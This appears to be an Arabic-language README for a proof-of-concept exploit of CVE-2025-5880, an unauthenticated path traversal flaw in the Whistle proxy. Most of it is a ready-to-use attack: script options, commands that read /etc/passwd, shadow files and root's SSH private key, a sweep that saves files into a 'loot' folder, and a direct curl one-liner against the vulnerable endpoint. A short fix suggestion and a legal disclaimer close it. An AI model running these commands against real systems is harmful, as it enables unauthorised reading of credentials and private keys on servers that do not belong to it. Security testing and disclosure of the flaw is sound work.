
إثبات مفهوم لاستغلال ثغرة اجتياز المسار غير المصادق عليها في Whistle v2.9.98.
إثبات المفهوم لاستغلال ثغرة اجتياز المسار غير المصادق عليها في Whistle الإصدار 2.9.98.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-5880 |
| CWE | CWE-22 (اجتياز المسار) |
| البرنامج المتأثر | Whistle ≤ 2.9.98 |
| المنفذ المتأثر | /cgi-bin/sessions/get-temp-file |
| متجه الهجوم | شبكة - لا يتطلب مصادقة |
| التأثير | قراءة ملف عشوائي على نظام ملفات المضيف |
لا يتم تنقية معامل الاستعلام filename قبل استخدامه لفتح ملف على القرص، مما يسمح للمهاجم بتجاوز دليل الملفات المؤقتة المقصود وقراءة أي ملف يمتلك عملية Whistle صلاحية الوصول إليه (مثل /etc/passwd, /root/.ssh/id_rsa).
# استنساخ
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# لا تبعيات خارجية
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
| العلم | الوصف |
|---|---|
-u / --url | عنوان URL الأساسي للهدف (مثل http://192.168.1.10:8899) |
-f / --file | مسار ملف عشوائي للقراءة |
--preset | اختصار مسمى: passwd shadow hosts id_rsa … |
--sweep | تكرار جميع الاختصارات تلقائيًا |
-o / --output | حفظ النتيجة في ملف |
--save-dir | الدليل لحفظ الغنائم من --sweep |
--timeout | مهلة HTTP بالثواني (الافتراضي 10) |
# قراءة /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# الحصول على مفتاح SSH الخاص لـ root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# قراءة مسار عشوائي
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# مسح وحفظ جميع الاختصارات
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
قم بتحديث Whistle إلى إصدار يتحقق من معامل filename ويقيده بدليل الملفات المؤقتة المقصود. قم بتطبيق تسوية المسار بالقائمة البيضاء (مثل path.resolve + التحقق من البادئة) على جانب الخادم.
تم تقديم هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وغير أخلاقي.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.